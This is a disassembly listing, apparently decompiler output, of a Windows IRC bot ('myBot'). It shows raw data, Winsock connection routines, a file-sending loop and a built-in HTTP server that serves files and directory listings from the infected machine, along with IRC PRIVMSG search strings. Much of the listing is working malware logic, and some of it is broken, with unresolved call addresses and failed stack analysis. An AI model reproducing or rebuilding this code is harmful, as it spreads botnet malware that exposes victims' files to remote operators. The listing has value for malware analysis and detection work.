5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0E468156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0DC68FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337D4h, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337BC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337B468h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379C68h dd 8D61EB00h, 0FFFF5085h, 379468FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 3784680Dh, 40EB0043h, 0FF50858Dh dd 7C68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 433764h dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433744h dd 2F1E957h, 3CBF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373868h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43372468h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433720h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 43370Ch, 27BE9h, 50858D00h dd 68FFFFFFh, 433704h, 0D352E850h, 85590000h, 347559C0h dd 0D8BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0D068FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B8BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336B0h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368868h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43368068h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 433674h, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43365468h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364C68h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43362068h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 433604h, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35EC6817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35CC68FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A868206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C994h, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 43358Ch, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2650000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 nop call near ptr 71AB1AF4h push 1 nop call near ptr 2660000h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA34 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433824 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337FC push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26C0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2710000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 270158Fh nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi call near ptr 26C0000h nop pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax call near ptr 2660CE7h nop push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AB0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 26E08DCh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2710C12h push esi mov [ebp+var_330], eax call near ptr 26408DCh nop loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A7C push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 266006Bh mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2660000h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 2660882h push eax lea eax, [ebp+var_8C4] push offset unk_433A44 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; 